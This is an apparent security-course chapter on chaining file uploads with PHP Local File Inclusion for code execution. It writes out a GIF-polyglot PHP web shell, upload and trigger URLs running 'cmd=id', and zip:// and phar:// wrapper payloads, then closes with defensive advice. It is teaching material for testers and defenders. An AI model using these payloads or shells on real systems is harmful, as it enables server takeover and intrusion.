Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

LFI and file uploads

Legitimate file uploads (avatars, attachments, imports) are common. The risk here is usually not a broken upload validator alone but chaining with Local File Inclusion (LFI): if an execution-capable include processes the attacker-controlled path, PHP inside an uploaded file can run when that path is included—even if the file looks like an image by extension and magic bytes.

Preconditions

  • Upload that stores a file the attacker can place (does not need to be “vulnerable” beyond accepting the bytes).
  • LFI into a sink that executes code for the chosen resource (same matrix as intro to file inclusions: PHP include / include_once, Java import in risky patterns, .NET include, etc.). require / Node res.render are called out in course material as no remote URL in some rows; focus on execute capability for RCE.

Polyglot “image” + include

  1. Build a file that passes casual checks: allowed extension (e.g. .gif) and magic bytes at the start (e.g. GIF8—ASCII-friendly; other types work but may need binary/encoding care).

  2. Append PHP after the magic header, for example:

    echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
    
  3. Upload via the app (e.g. profile photo). The file is inert until something includes it as PHP.

  4. Discover on-disk or URL path (HTML img src, browser devtools, or fuzz /uploads, /profile_images, etc.—paths may be hidden).

  5. Trigger LFI with that path (and ../ if the sink prepends a base directory). Example:

    index.php?language=./profile_images/shell.gif&cmd=id

The shell is harmless for normal image serving; inclusion is what executes it.

PHP-only alternatives: zip:// and phar://

Use when the polyglot trick fails or wrappers are attractive; both depend on PHP and configuration / detection quirks.

Zip wrapper

zip may be disabled; not universal.

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

Upload shell.jpg (a zip). Include with # URL-encoded as %23:

language=zip://./profile_images/shell.jpg%23shell.php&cmd=id

Renaming zip to .jpg can still fail content-type sniffers; works best when zip uploads are allowed.

Phar wrapper

Build a Phar containing an inner file with PHP, rename to something uploadable (e.g. shell.jpg). Requires php --define phar.readonly=0 to generate. Include:

language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

(inner path per how the archive was built). Treat zip and phar as fallbacks; polyglot upload + LFI is often the most reliable of the three.

Legacy edge case

Older setups: file_uploads on, old PHP, phpinfo() exposed, plus LFI—historical temporary upload path abuse. Rare today; specific requirements.

Defensive takeaway

Secure uploads (type, storage outside web root, non-executable serving) still matters, but do not rely on “images are safe” if any code path can include user-influenced filesystem paths with execute semantics. Prefer no user input in include paths, allowlists, and non-executable storage and response paths.